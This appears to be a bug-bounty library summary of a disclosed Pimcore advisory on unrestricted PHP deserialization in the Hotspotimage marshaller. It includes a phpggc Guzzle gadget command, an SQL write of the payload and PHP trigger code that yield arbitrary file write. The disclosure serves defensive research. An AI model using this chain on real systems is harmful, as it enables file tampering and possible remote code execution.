# Pimcore Hotspotimage getDataFromResource() unrestricted Serialize::unserialize over object-store column (PHP Object Injection, CWE-502)

Pimcore's Hotspotimage getDataFromResource() unserializes the __hotspots store column without a class allowlist, enabling PHP object injection and file write via a bundled Guzzle gadget.

- Payout: Research
- Severity: critical
- Program: Pimcore
- Found by: tonghuaroot
- Disclosed: 2026-08-28
- CVE: CVE-2026-55220
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-w23p-wrp7-ch38
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-w23p-wrp7-ch38
- Tags: area:web domain:web impact:integrity impact:rce kind:research platform:ghsa sev:critical tech:php technique:incomplete-fix technique:source-review vuln:deserialization

**Target:** Pimcore DataObject Hotspotimage field marshaller / object_store __hotspots column
**Root cause:** Serialize::unserialize() defaults $allowedClasses to true, and Hotspotimage::getDataFromResource() (plus ImageGallery, Block, Video) calls it with no second argument after json_decode fails, so stored serialized bytes instantiate arbitrary classes.
**Steps:**
1. Create a DataObject class with a Hotspotimage field and save an object with a valid image asset so object_store_<classId>.img__hotspots exists.
2. Generate a gadget with `./phpggc Guzzle/FW1 /tmp/pimcore_pwned_hotspot.txt /tmp/ggc_local_src.txt | tr -d '\n'` against bundled guzzlehttp/guzzle 7.11.0; bytes begin `O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{`.
3. Write the gadget into the store column: `UPDATE object_store_1 SET img__hotspots = ? WHERE oo_id = ?`.
4. Clear Pimcore caches and reload via `DataObject\Concrete::getById($objId, ['force' => true])` then `getImg()` to trigger getDataFromResource().
5. Observe the FileCookieJar __destruct writes /tmp/pimcore_pwned_hotspot.txt; negative control with allowed_classes=false yields __PHP_Incomplete_Class and no file.
**How found:** Code review of the field marshaller: noticed getDataForResource() stores PHP-serialized bytes while getDataFromResource() tries json_decode first and falls back to Serialize::unserialize(); traced the wrapper's default $allowedClasses = true and confirmed the same fallback shape in ImageGallery, Block and Video.
**Exploitation:** Requires a store-write primitive into the `<field>__hotspots` column (e.g. SQL injection or other DB write). Crafted serialized bytes are read on the next object load (admin grid, frontend, API, inheritance walk), unserialized unrestricted, and the Guzzle FileCookieJar gadget's __destruct writes an attacker-controlled file, giving file-write and a path to RCE via other vendored chains.
**Escalation:** Chains a separate storage-write primitive into object injection; gadget chains in bundled dependencies (guzzle) escalate to arbitrary file write and potentially RCE.
**Insight:** When a persistence layer writes serialize() but the reader tries json_decode() first, the fallback branch is the real sink — check the wrapper's default allowlist argument, and grep sibling marshallers sharing the same `json_decode(...) ?: Serialize::unserialize(...)` shape for the same defect.

## Proof of concept (copied exactly from the original report)

**Attacker SQL write of serialized gadget into hotspots column**

```
$db->executeStatement('UPDATE `' . $store . '` SET `img__hotspots` = ? WHERE oo_id = ?', [$payload, $objId]);
        $stored = (string) $db->fetchOne('SELECT `img__hotspots` FROM `' . $store . '` WHERE oo_id = ?', [$objId]);
        $o('  stored prefix: ' . substr($stored, 0, 60));
        $o('  json_decode(stored) === null ? ' . var_export(json_decode($stored, true) === null, true) . '  (=> unserialize fallback)');
```

**phpggc Guzzle FileCookieJar gadget generation command**

```
printf 'PWNED_BY_DESERIALIZATION_%s' "$(date +%s)" > /tmp/ggc_local_src.txt
./phpggc Guzzle/FW1 /tmp/pimcore_pwned_hotspot.txt /tmp/ggc_local_src.txt | tr -d '\n' > /tmp/ggc_guzzle_fw1.ser
# stored bytes begin: O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{...
```

**Reload object triggering getDataFromResource unserialize**

```
$reloaded = DataObject\Concrete::getById($objId, ['force' => true]);
                $reloaded->getImg(); // triggers Hotspotimage::getDataFromResource() lazy load
                $o('  reloaded class=' . get_class($reloaded));
```

